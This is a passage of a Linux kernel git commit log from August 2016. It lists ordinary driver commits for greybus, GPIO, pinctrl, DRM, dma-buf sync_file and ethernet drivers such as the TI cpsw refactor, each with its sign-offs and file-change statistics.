.../Documentation/firmware/firmware-management | 51 +++++++++++----------- 1 file changed, 26 insertions(+), 25 deletions(-) commit 295b5269d63841183257d9da9035dd3e3fde4200 Author: Viresh Kumar Date: Wed Aug 10 10:48:31 2016 -0700 greybus: firmware: use 'tag' instead of 'firmware_tag' We already have another direct pointer for this, use that instead. Testing Done: Compiled. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/fw-download.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9f77b80fdfeb72bdecf7855bb526ef14b6ed2ba8 Author: Johan Hovold Date: Wed Aug 10 12:58:46 2016 +0200 greybus: control: make disconnecting a core operation Make the control-protocol disconnecting operation a "core" operation. This is needed to be able to use the operation in the new connection tear-down sequence of control connections, which moves disconnecting after the flush barrier. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Acked-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 26 +++++++++++++++++++++----- 1 file changed, 21 insertions(+), 5 deletions(-) commit 8f71a975d4150abf8ab1fbea65b51e73ff9936d6 Author: Johan Hovold Date: Wed Aug 10 12:58:45 2016 +0200 greybus: hd: add cport_shutdown callback Add a host-device cport_shutdown callback which will be called as part of the new connection tear-down sequence for offloaded connection in order to do a cport_shutdown operation on behalf of the AP. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Acked-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hd.h | 2 ++ 1 file changed, 2 insertions(+) commit 6471c0039cd2fa92bb7df1262c57cb5190eb4311 Author: Johan Hovold Date: Wed Aug 10 12:58:44 2016 +0200 greybus: hd/es2: add cport_clear callback and ARPC Add a host-device cport_clear callback, which will be called as part of the new connection tear-down sequence to reset the CPort state. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Acked-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arpc.h | 5 +++++ drivers/staging/greybus/es2.c | 19 +++++++++++++++++++ drivers/staging/greybus/hd.h | 2 ++ 3 files changed, 26 insertions(+) commit 0e7cd0d259890f21d13171d5798eed24a03903dc Author: Johan Hovold Date: Wed Aug 10 12:58:43 2016 +0200 greybus: hd/es2: add cport_quiesce callback and ARPC Add a host-device cport_quiesce callback, which will be called as part of the new connection tear-down sequence to disable flow control after first making sure that enough peer buffer space is available for the next messages about to be sent. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Acked-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arpc.h | 7 +++++++ drivers/staging/greybus/es2.c | 30 ++++++++++++++++++++++++++++++ drivers/staging/greybus/hd.h | 2 ++ 3 files changed, 39 insertions(+) commit a9dc1cf5b7b5ce8183249c2229ae0ab849525e37 Author: Johan Hovold Date: Wed Aug 10 12:58:42 2016 +0200 greybus: hd/es2: add cport_connected callback and ARPC Add a host-device cport_connected callback, which will be called after a connection has been created and that can be used by the host-device driver to make sure its internal state is updated to match the CPort attributes set by the SVC. This callback will eventually replace the cport_features_enable callback. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Acked-by: Sandeep Patil Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arpc.h | 6 ++++++ drivers/staging/greybus/es2.c | 20 ++++++++++++++++++++ drivers/staging/greybus/hd.h | 1 + 3 files changed, 27 insertions(+) commit de4b894182094e9d717df98c75344dd50ebbe2ea Merge: 6ea5dcd c6a05a0 Author: Linus Walleij Date: Thu Aug 11 14:06:57 2016 +0200 Merge tag 'ib-mfd-gpio-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/lee/mfd into devel Immutable branch between MFD and GPIO due for the v4.9 merge window commit 0f9d85b7aca3764d7f93699129a89c11535abe1a Author: Julia Lawall Date: Fri Aug 5 13:26:11 2016 +0200 pinctrl: nomadik: use of_property_read_bool Use of_property_read_bool to check for the existence of a property. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @@ expression e1,e2,x; @@ - if (of_get_property(e1,e2,NULL)) - x = true; - else - x = false; + x = of_property_read_bool(e1,e2); // Signed-off-by: Julia Lawall Signed-off-by: Linus Walleij drivers/pinctrl/nomadik/pinctrl-nomadik.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 6ea5dcdf7924d967a4d4b3aa7170e37a1be5cf0f Author: William Breathitt Gray Date: Tue Aug 2 09:57:47 2016 -0400 gpio: Add GPIO support for the Diamond Systems GPIO-MM The Diamond Systems GPIO-MM device features 48 lines of digital I/O via the emulation of dual 82C55A PPI chips. This driver provides GPIO support for these 48 channels of digital I/O. The base port addresses for the devices may be configured via the base array module parameter. Signed-off-by: William Breathitt Gray Signed-off-by: Linus Walleij MAINTAINERS | 6 + drivers/gpio/Kconfig | 13 +++ drivers/gpio/Makefile | 1 + drivers/gpio/gpio-gpio-mm.c | 267 ++++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 287 insertions(+) commit 0ba19cfc2a667ca986355e11d122c465482f12e2 Author: Bin Gao Date: Mon Jul 25 14:59:38 2016 -0700 gpio: Add Intel WhiskeyCove PMIC GPIO driver This patch introduces a separate GPIO driver for Intel WhiskeyCove PMIC. This driver is based on gpio-crystalcove.c. Changes in v7: - Fixed various coding style comments from Andy Shevchenko Changes in v6: - Removed unnecessary wcove_gpio_remove() - Used devm_gpiochip_remove() instead of gpiochip_remove() - Various coding style changes per Mika's comment Changes in v5: - Revisited the interrupt handler code to iterate until all pending interrupts are handled. This change is to avoid missing interrupt when we're inside the interrupt handler. - Used regmap_bulk_read() to read address adjacent registers. Changes in v4: - Converted CTLI_INTCNT_XX macros to less verbose ones INT_DETECT_XX. - Add comments about why there is no .pm for the driver. - Header files re-ordered. - Various coding style change to address Andy's comments. Changes in v3: - Fixed the year in copyright line(2015-->2016). - Removed DRV_NAME macro. - Added kernel-doc for regmap_irq_chip of the wcove_gpio structure. - Line length fix. Changes in v2: - Typo fix (Whsikey --> Whiskey). - Included linux/gpio/driver.h instead of linux/gpio.h - Implemented .set_single_ended(). - Added GPIO register description. - Replaced container_of() with gpiochip_get_data(). - Removed unnecessary "if (gpio > WCOVE_VGPIO_NUM" check. - Removed the device id table and added MODULE_ALIAS(). Signed-off-by: Ajay Thomas Signed-off-by: Bin Gao Reviewed-by: Andy Shevchenko Reviewed-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/gpio/Kconfig | 13 ++ drivers/gpio/Makefile | 1 + drivers/gpio/gpio-wcove.c | 455 ++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 469 insertions(+) commit 5e334c199a258b8309f1073b3a6432cd0256f9b1 Author: Tvrtko Ursulin Date: Wed Aug 10 16:16:46 2016 +0100 drm/i915/guc: Consolidate firmware major-minor to one place Currently to change the firmware one has to update the exported module firmware string and the major-minor versions used for verification after load. Consolidate that to a single place defining correct major and minor versions per platform. v2: Rebased for KBL. Signed-off-by: Tvrtko Ursulin Cc: Dave Gordon Cc: Rodrigo Vivi Cc: Peter Antoine Cc: Michel Thierry Reviewed-by: Dave Gordon Link: http://patchwork.freedesktop.org/patch/msgid/1470842206-35685-1-git-send-email-tvrtko.ursulin@linux.intel.com drivers/gpu/drm/i915/intel_guc_loader.c | 30 +++++++++++++++++++++--------- 1 file changed, 21 insertions(+), 9 deletions(-) commit c1bb11451ed93aae53efcf461f936a54675dcbea Author: Tvrtko Ursulin Date: Wed Aug 10 16:22:10 2016 +0100 drm/i915: Store number of active engines in device info Until now code was calling hweight32 to figure out the number from device_info->ring_mask at runtime. Instead we can cache it at engine init time and use directly. Signed-off-by: Tvrtko Ursulin Reviewed-by: Dave Gordon Reviewed-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1470842530-35854-1-git-send-email-tvrtko.ursulin@linux.intel.com drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_gem_context.c | 2 +- drivers/gpu/drm/i915/intel_engine_cs.c | 10 +++++----- drivers/gpu/drm/i915/intel_ringbuffer.c | 6 +++--- 5 files changed, 11 insertions(+), 10 deletions(-) commit e24165537312723e2900831dd6e7415b8d85278c Author: Gustavo Padovan Date: Fri Aug 5 10:39:38 2016 -0300 dma-buf/sync_file: only enable fence signalling on poll() Signalling doesn't need to be enabled at sync_file creation, it is only required if userspace waiting the fence to signal through poll(). Thus we delay fence_add_callback() until poll is called. It only adds the callback the first time poll() is called. This avoid re-adding the same callback multiple times. v2: rebase and update to work with new fence support for sync_file v3: use atomic operation to set enabled and protect fence_add_callback() v4: use user bit from fence flags (comment from Chris Wilson) v5: use ternary if on poll return (comment from Chris Wilson) Signed-off-by: Gustavo Padovan Reviewed-by: Chris Wilson Signed-off-by: Sumit Semwal [sumits: remove unused var status] Link: http://patchwork.freedesktop.org/patch/msgid/1470404378-27961-1-git-send-email-gustavo@padovan.org drivers/dma-buf/sync_file.c | 21 ++++++++------------- include/linux/sync_file.h | 2 ++ 2 files changed, 10 insertions(+), 13 deletions(-) commit 395dec6f6bc53277bc2b034c7a232ae0c51141b7 Author: Gustavo Padovan Date: Fri Aug 5 10:39:37 2016 -0300 Documentation: add doc for sync_file_get_fence() Document the new function added to sync_file.c v2: Adapt to fence_array v3: Take in Chris Wilson suggestions Signed-off-by: Gustavo Padovan Acked-by: Christian König Reviewed-by: Chris Wilson Signed-off-by: Sumit Semwal Documentation/sync_file.txt | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 972526a4093243fdaf77dd7c6f8b11fba5b15864 Author: Gustavo Padovan Date: Fri Aug 5 10:39:36 2016 -0300 dma-buf/sync_file: add sync_file_get_fence() Creates a function that given an sync file descriptor returns a fence containing all fences in the sync_file. v2: Comments by Daniel Vetter - Adapt to new version of fence_collection_init() - Hold a reference for the fence we return v3: - Adapt to use fput() directly - rename to sync_file_get_fence() as we always return one fence v4: Adapt to use fence_array v5: set fence through fence_get() Signed-off-by: Gustavo Padovan Reviewed-by: Chris Wilson Acked-by: Christian König Signed-off-by: Sumit Semwal drivers/dma-buf/sync_file.c | 23 +++++++++++++++++++++++ include/linux/sync_file.h | 1 + 2 files changed, 24 insertions(+) commit a02b9dc90d844cc7df7b63264e7920cc425052d9 Author: Gustavo Padovan Date: Fri Aug 5 10:39:35 2016 -0300 dma-buf/sync_file: refactor fence storage in struct sync_file Create sync_file->fence to abstract the type of fence we are using for each sync_file. If only one fence is present we use a normal struct fence but if there is more fences to be added to the sync_file a fence_array is created. This change cleans up sync_file a bit. We don't need to have sync_file_cb array anymore. Instead, as we always have one fence, only one fence callback is registered per sync_file. v2: Comments from Chris Wilson and Christian König - Not using fence_ops anymore - fence_is_array() was created to differentiate fence from fence_array - fence_array_teardown() is now exported and used under fence_is_array() - struct sync_file lost num_fences member v3: Comments from Chris Wilson and Christian König - struct sync_file lost status member in favor of fence_is_signaled() - drop use of fence_array_teardown() - use sizeof(*fence) to allocate only an array on fence pointers v4: Comments from Chris Wilson - use sizeof(*fence) to reallocate array - fix typo in comments - protect num_fences sum against overflows - use array->base instead of casting the to struct fence v5: fixes checkpatch warnings v6: fix case where all fences are signaled. Signed-off-by: Gustavo Padovan Reviewed-by: Chris Wilson Acked-by: Christian König Acked-by: Greg Kroah-Hartman Signed-off-by: Sumit Semwal drivers/dma-buf/sync_file.c | 174 +++++++++++++++++++++++------------ drivers/staging/android/sync_debug.c | 12 ++- include/linux/sync_file.h | 17 +--- 3 files changed, 129 insertions(+), 74 deletions(-) commit e1aaf311dbe82221910cc0e0809c988de210cc3c Author: Gustavo Padovan Date: Fri Aug 5 10:39:34 2016 -0300 dma-buf/fence-array: add fence_is_array() Add helper to check if fence is array. v2: Comments from Chris Wilson - remove ternary if from ops comparison - add EXPORT_SYMBOL(fence_array_ops) Cc: Chris Wilson Cc: Christian König Signed-off-by: Gustavo Padovan Reviewed-by: Chris Wilson Reviewed-by: Christian König Signed-off-by: Sumit Semwal drivers/dma-buf/fence-array.c | 1 + include/linux/fence-array.h | 10 ++++++++++ 2 files changed, 11 insertions(+) commit dc80d7038883feca2abd08975165bc0d83c84762 Author: Peter Senna Tschudin Date: Fri Aug 5 00:36:58 2016 +0200 drm/imx-ldb: Add support to drm-bridge Add support to attach a drm_bridge to imx-ldb in addition to existing support to attach a LVDS panel. This patch does a simple code refactoring by moving code from for_each_child_of_node iterator to a new function named imx_ldb_panel_ddc(). This was necessary to allow the panel ddc code to run only when the imx_ldb is not attached to a bridge. Cc: Enric Balletbo i Serra Cc: Philipp Zabel Cc: Rob Herring Cc: Fabio Estevam Cc: David Airlie Cc: Thierry Reding Cc: Thierry Reding Signed-off-by: Peter Senna Tschudin Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-ldb.c | 120 +++++++++++++++++++++++++++--------------- 1 file changed, 79 insertions(+), 41 deletions(-) commit 7216436420414144646f5d8343d061355fd23483 Author: Bibby Hsieh Date: Thu Jul 28 10:22:55 2016 +0800 drm/mediatek: set mt8173 dithering function Some panels only accept bpc (bit per color) 6-bit. But, the default bpc in mt8173 display data path is 8-bit. If we didn't enable dithering function to convert bpc, display cannot show the smooth grayscale image. In mt8173, the dithering function in OD (OverDrive) and GAMMA module, we have to config them with connector->display_mode.bpc when CRTC initial. 1. Clear the default value at *_DITHER_5 and *_DITHER_7 register. 2. Calculate the LSB_ERR_SHIFT bits and ADD_LSHIFT bits two values. i.e. Input bpc of OD is 10 bits, we assume the bpc of panel is 6-bit, so, we need to set 4-bit to LSB_ERR_SHIFT and ADD_LSHIFT bits respectively. 3. Then, set the OD or GAMMA to dithering mode depends on path-1 or path-2. Signed-off-by: Bibby Hsieh Signed-off-by: Philipp Zabel drivers/gpu/drm/mediatek/mtk_disp_ovl.c | 3 +- drivers/gpu/drm/mediatek/mtk_disp_rdma.c | 3 +- drivers/gpu/drm/mediatek/mtk_drm_crtc.c | 21 +++++++-- drivers/gpu/drm/mediatek/mtk_drm_crtc.h | 2 + drivers/gpu/drm/mediatek/mtk_drm_ddp_comp.c | 72 ++++++++++++++++++++++++----- drivers/gpu/drm/mediatek/mtk_drm_ddp_comp.h | 8 ++-- 6 files changed, 89 insertions(+), 20 deletions(-) commit 2f3f4dda747c0619594d13996e65598ab675c60c Author: Bibby Hsieh Date: Thu Jul 28 10:22:54 2016 +0800 drm/mediatek: Add gamma correction. Add gamma set function to correct brightness values. It applies arbitrary mapping curve to compensate the incorrect transfer function of the panel. Signed-off-by: Bibby Hsieh Signed-off-by: Philipp Zabel drivers/gpu/drm/mediatek/mtk_drm_crtc.c | 7 ++++++- drivers/gpu/drm/mediatek/mtk_drm_crtc.h | 1 + drivers/gpu/drm/mediatek/mtk_drm_ddp_comp.c | 31 +++++++++++++++++++++++++++++ drivers/gpu/drm/mediatek/mtk_drm_ddp_comp.h | 10 ++++++++++ 4 files changed, 48 insertions(+), 1 deletion(-) commit 94106a8dbaf56b50ba35faa32baae4ad8dcf17ed Author: Yoshihiro Shimoda Date: Thu Jul 21 19:47:01 2016 +0900 arm64: defconfig: Add Renesas R-Car HSUSB driver support as module Signed-off-by: Yoshihiro Shimoda Signed-off-by: Simon Horman arch/arm64/configs/defconfig | 2 ++ 1 file changed, 2 insertions(+) commit f72f4b44dfa88350b7072ca06fee83ce000a4177 Author: Maxime Ripard Date: Wed Jul 20 16:11:36 2016 +0200 gpio: Add AXP209 GPIO driver The AXP209 PMIC has a bunch of GPIOs accessible, that are usually used to control LEDs or backlight. Add a driver for them Signed-off-by: Maxime Ripard Acked-by: Rob Herring Signed-off-by: Linus Walleij .../devicetree/bindings/gpio/gpio-axp209.txt | 30 ++++ drivers/gpio/Kconfig | 6 + drivers/gpio/Makefile | 1 + drivers/gpio/gpio-axp209.c | 162 +++++++++++++++++++++ 4 files changed, 199 insertions(+) commit 647dbd1e84871f6c0548f7fbb46eefc4da21f783 Author: Stephen Boyd Date: Mon Jul 11 12:01:09 2016 -0700 pinctrl: qcom: Add generic ssbi and spmi GPIO/MPP bindings The drivers don't really need to know which PMIC they're for, so make a generic binding for them. This alleviates us from updating the drivers every time a new PMIC comes out. It's still recommended that we update the binding with new PMIC models and always specify the specific model for the MPPs and gpios before the generic compatible string in devicetree, but this at least cuts down on adding more and more compatible strings to the drivers until we actually need them. Cc: Acked-by: "Ivan T. Ivanov" Reviewed-by: Bjorn Andersson Acked-by: Rob Herring Signed-off-by: Stephen Boyd Signed-off-by: Linus Walleij Documentation/devicetree/bindings/pinctrl/qcom,pmic-gpio.txt | 5 ++++- Documentation/devicetree/bindings/pinctrl/qcom,pmic-mpp.txt | 5 ++++- drivers/pinctrl/qcom/pinctrl-spmi-gpio.c | 1 + drivers/pinctrl/qcom/pinctrl-spmi-mpp.c | 1 + 4 files changed, 10 insertions(+), 2 deletions(-) commit 2e47707918b6208db26a5692d5be0fc2765c4e8a Author: Marcus Cooper Date: Sat Jul 30 16:20:22 2016 +0200 pinctrl: sun6i: add SPDIF to pin description. Add the SPDIF mux functionality to the pinctrl for the Allwinner A31 SoC. Signed-off-by: Marcus Cooper Acked-by: Maxime Ripard Signed-off-by: Linus Walleij drivers/pinctrl/sunxi/pinctrl-sun6i-a31.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit e23efa311110648d58268c9b83b21de9d990a78c Author: Phil Reid Date: Fri Jul 29 11:39:55 2016 +0800 gpio: pca954x: Add vcc regulator and enable it Some i2c gpio devices are connected to a switchable power supply which needs to be enabled prior to probing the device. This patch allows the drive to enable the devices vcc regulator prior to probing. Signed-off-by: Phil Reid Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 41 ++++++++++++++++++++++++++++++++--------- 1 file changed, 32 insertions(+), 9 deletions(-) commit e0a5d33702451329b7da70a15fad3b919e441401 Author: Bibby Hsieh Date: Thu Jul 28 10:22:53 2016 +0800 drm/mediatek: Add GAMMA engine basic function In order to correct brightness values, we have to support gamma funciton on MT8173. In MT8173, we have two engines for supporting gamma function: AAL and GAMMA. This patch add some GAMMA engine basic function, include config, start and stop function. Signed-off-by: Bibby Hsieh Signed-off-by: Philipp Zabel drivers/gpu/drm/mediatek/mtk_drm_ddp_comp.c | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) commit 0664d1392c26a8bfcdd6c6f0ff7c63eb0e1a10b0 Author: Bibby Hsieh Date: Thu Jul 28 10:22:52 2016 +0800 drm/mediatek: Add AAL engine basic function In order to correct brightness values, we have to support gamma funciton on MT8173. In MT8173, we have two engines for supporting gamma function: AAL and GAMMA. This patch add some AAL engine basic function, include config, start and stop function. Signed-off-by: Bibby Hsieh Signed-off-by: Philipp Zabel drivers/gpu/drm/mediatek/mtk_drm_ddp_comp.c | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) commit 37b2a2149bd39d80b2e2724e370f83c934eeff15 Author: CK Hu Date: Fri Jul 15 13:52:04 2016 +0800 drm: mediatek: add Maintainers entry for Mediatek DRM drivers Add CK Hu and Philipp Zabel as maintainers for Mediatek DRM drivers. Signed-off-by: CK Hu Signed-off-by: Philipp Zabel MAINTAINERS | 8 ++++++++ 1 file changed, 8 insertions(+) commit f08aff444ae0004c9ae6df3241fc313a5024d375 Author: Philippe Reynes Date: Wed Aug 10 00:04:49 2016 +0200 net: ethernet: renesas: sh_eth: use new api ethtool_{get|set}_link_ksettings The ethtool api {get|set}_settings is deprecated. We move this driver to new api {get|set}_link_ksettings. Signed-off-by: Philippe Reynes Tested-by: Simon Horman Signed-off-by: David S. Miller drivers/net/ethernet/renesas/sh_eth.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit 9fd0375ad376d1f98f4af929fdbefa141c86b800 Author: Philippe Reynes Date: Wed Aug 10 00:04:48 2016 +0200 net: ethernet: renesas: sh_eth: use phydev from struct net_device The private structure contain a pointer to phydev, but the structure net_device already contain such pointer. So we can remove the pointer phy_dev in the private structure, and update the driver to use the one contained in struct net_device. Signed-off-by: Philippe Reynes Tested-by: Simon Horman Signed-off-by: David S. Miller drivers/net/ethernet/renesas/sh_eth.c | 29 ++++++++++++----------------- drivers/net/ethernet/renesas/sh_eth.h | 1 - 2 files changed, 12 insertions(+), 18 deletions(-) commit 05b8ad25bc8b045721a93d04cf8dcf6f74b3cd6a Author: Adam Barth Date: Wed Aug 10 09:45:39 2016 -0700 samples/bpf: fix bpf_perf_event_output prototype The commit 555c8a8623a3 ("bpf: avoid stack copy and use skb ctx for event output") started using 20 of initially reserved upper 32-bits of 'flags' argument in bpf_perf_event_output(). Adjust corresponding prototype in samples/bpf/bpf_helpers.h Signed-off-by: Adam Barth Signed-off-by: Alexei Starovoitov Acked-by: Daniel Borkmann Signed-off-by: David S. Miller samples/bpf/bpf_helpers.h | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit fff8019a08b60dce0c7f2858ebe44c5b84ed493b Author: Harini Katakam Date: Tue Aug 9 13:15:53 2016 +0530 net: macb: Add 64 bit addressing support for GEM This patch adds support for 64 bit addressing and BDs. -> Enable 64 bit addressing in DMACFG register. -> Set DMA mask when design config register shows support for 64 bit addr. -> Add new BD words for higher address when 64 bit DMA support is present. -> Add and update TBQPH and RBQPH for MSB of BD pointers. -> Change extraction and updation of buffer addresses to use 64 bit address. -> In gem_rx extract address in one place insted of two and use a separate flag for RXUSED. Signed-off-by: Harini Katakam Signed-off-by: David S. Miller drivers/net/ethernet/cadence/macb.c | 62 ++++++++++++++++++++++++++++++------- drivers/net/ethernet/cadence/macb.h | 10 ++++++ 2 files changed, 61 insertions(+), 11 deletions(-) commit 054c67d1c82afde13e475cdd8b7117a5e40bebb1 Author: Sudarsana Reddy Kalluru Date: Tue Aug 9 03:51:23 2016 -0400 qed*: Add support for ethtool link_ksettings callbacks. This patch adds the driver implementation for ethtool link_ksettings callbacks. qed driver now defines/uses the qed specific masks for representing link capability values. qede driver maps these values to to new link modes defined by the kernel implementation of link_ksettings. Please consider applying this to 'net-next' branch. Signed-off-by: Sudarsana Reddy Kalluru Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_main.c | 107 ++++++++++--------- drivers/net/ethernet/qlogic/qed/qed_mcp.c | 3 + drivers/net/ethernet/qlogic/qed/qed_mcp.h | 7 +- drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 132 ++++++++++++++++++------ include/linux/qed/qed_if.h | 15 +++ 5 files changed, 180 insertions(+), 84 deletions(-) commit e27d6cf55e319dbcc95c711f6a22d0176d2ac689 Merge: ab10dcc 2a05a62 Author: David S. Miller Date: Wed Aug 10 17:27:41 2016 -0700 Merge branch 'cpsw-refactor' Ivan Khoronzhuk says: ==================== net: ethernet: ti: cpsw: split driver data and per ndev data In dual_emac mode the driver can handle 2 network devices. Each of them can use its own private data and common data/resources. This patchset splits common driver data/resources and private per net device data. It leads to: - reduce memory usage - increase code readability - allows add a bunch of simplification - create prerequisites to add multi-channel support, when channels are shared between net devices Doesn't have bad impact on performance. v2: https://lkml.org/lkml/2016/8/6/108 Since v2: - removed patch: net: ethernet: ti: cpsw: fix int dbg message - replaced patch: "net: ethernet: ti: cpsw: remove redundant check in napi poll" on "net: ethernet: ti: cpsw: remove intr dbg msg from poll handlers" - removed macro "cpsw_get_slave_ndev" - corrected some commits Since v1: - added several patch improvements - avoided variable reordering in structures - removed static variable for common function - split big patch on several patches: ==================== Signed-off-by: David S. Miller commit 2a05a622d88a8e195adaab3ab83aaba317a2e5cf Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:44 2016 +0300 net: ethernet: ti: cpsw: move ale, cpts and drivers params under cpsw_common The ale, cpts, version, rx_packet_max, bus_freq, interrupt pacing parameters are common per net device that uses the same h/w. So, move them to common driver structure. Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 235 +++++++++++++++++++---------------------- 1 file changed, 106 insertions(+), 129 deletions(-) commit dbc4ec522d2ee2b3fa24d329a7a63594aba3b069 Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:43 2016 +0300 net: ethernet: ti: cpsw: move napi struct to cpsw_common The napi structs are common for both net devices in dual_emac mode, In order to not hold duplicate links to them, move to cpsw_common. Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 52 ++++++++++++++++++------------------------ 1 file changed, 22 insertions(+), 30 deletions(-) commit 606f39939595a4d4540406bfc11f265b2036af6d Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:42 2016 +0300 net: ethernet: ti: cpsw: move platform data and slaves info to cpsw_common These data are common for net devs in dual_emac mode. No need to hold it for every priv instance, so move them under cpsw_common. Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 265 +++++++++++++++++++++-------------------- 1 file changed, 137 insertions(+), 128 deletions(-) commit e38b5a3db84c75c418d8c08863e005bda077f382 Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:41 2016 +0300 net; ethernet: ti: cpsw: move irq stuff under cpsw_common The irq data are common for net devs in dual_emac mode. So no need to hold these data in every priv struct, move them under cpsw_common. Also delete irq_num var, as after optimization it's not needed. Correct number of irqs to 2, as anyway, driver is using only 2, at least for now. Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 65 +++++++++++++++++++----------------------- 1 file changed, 29 insertions(+), 36 deletions(-) commit 2c836bd9a247132ff478857ec7b41a740df5ab64 Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:40 2016 +0300 net: ethernet: ti: cpsw: move cpdma resources to cpsw_common Every net device private struct holds links to shared cpdma resources. No need to save and every time synchronize these resources per net dev. So, move it to common driver struct. Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 97 +++++++++++++++++++++--------------------- 1 file changed, 48 insertions(+), 49 deletions(-) commit 5d8d0d4d46ed7bc0cf3e3ccb6c8b6ad7676335bc Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:39 2016 +0300 net: ethernet: ti: cpsw: move links on h/w registers to cpsw_common The pointers on h/w registers are common for every cpsw_private instance, so no need to hold them for every ndev. Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 97 +++++++++++++++++++++++------------------- 1 file changed, 53 insertions(+), 44 deletions(-) commit 56e31bd89334325f918e4b9f4d91f07157400169 Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:38 2016 +0300 net: ethernet: ti: cpsw: replace pdev on dev No need to hold pdev link when only dev is needed. This allows to simplify a bunch of cpsw->pdev->dev now and farther. Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 65 ++++++++++++++++++++++-------------------- 1 file changed, 34 insertions(+), 31 deletions(-) commit 649a1688c96098a702e827a073542b29739b4f88 Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:37 2016 +0300 net: ethernet: ti: cpsw: create common struct to hold shared driver data This patch simply create holder for common data and as a start moves pdev var to it. Signed-off-by: Ivan Khoronzhuk Reviewed-by: Mugunthan V N Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 62 ++++++++++++++++++++++++++---------------- 1 file changed, 39 insertions(+), 23 deletions(-) commit 82b52104a31a96689fe1931180c66dd699ad5fc1 Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:36 2016 +0300 net: ethernet: ti: cpsw: don't check slave num in runtime No need to check const slave num in runtime for every packet, and ndev for slaves w/o ndev is anyway NULL. So remove redundant check and macro. Reviewed-by: Mugunthan V N Signed-off-by: Ivan Khoronzhuk Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit ef4183a1d75b15c3bbd6e7f2b14fc5480d740bff Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:35 2016 +0300 net: ethernet: ti: cpsw: remove clk var from priv There is no need to hold link to clk, it's used only once while probe. Reviewed-by: Mugunthan V N Reviewed-by: Grygorii Strashko Signed-off-by: Ivan Khoronzhuk Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 6f1f58361fa249ce10ca14256e473e6881e4efee Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:34 2016 +0300 net: ethernet: ti: cpsw: remove priv from cpsw_get_slave_port() parameters list There is no need in priv here. Reviewed-by: Mugunthan V N Reviewed-by: Grygorii Strashko Signed-off-by: Ivan Khoronzhuk Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 0a440f8f4f75598235a71a365fb0dbe0056ad75c Author: Ivan Khoronzhuk Date: Wed Aug 10 02:22:33 2016 +0300 net: ethernet: ti: cpsw: remove intr dbg msg from poll handlers At poll handler no possibility to figure out which network device is handling packets, as cpdma channels are common for both network devices in dual_emac mode. Currently, the messages are printed only for one device, in fact, there is two. This print msg is incorrect and seems is not very useful, so drop it from poll handler. Reviewed-by: Mugunthan V N Signed-off-by: Ivan Khoronzhuk Signed-off-by: David S. Miller drivers/net/ethernet/ti/cpsw.c | 6 ------ 1 file changed, 6 deletions(-) commit 27e9e10391259cbe2e52d6f0ac5b16b1d898d901 Author: Ivan Khoronzhuk 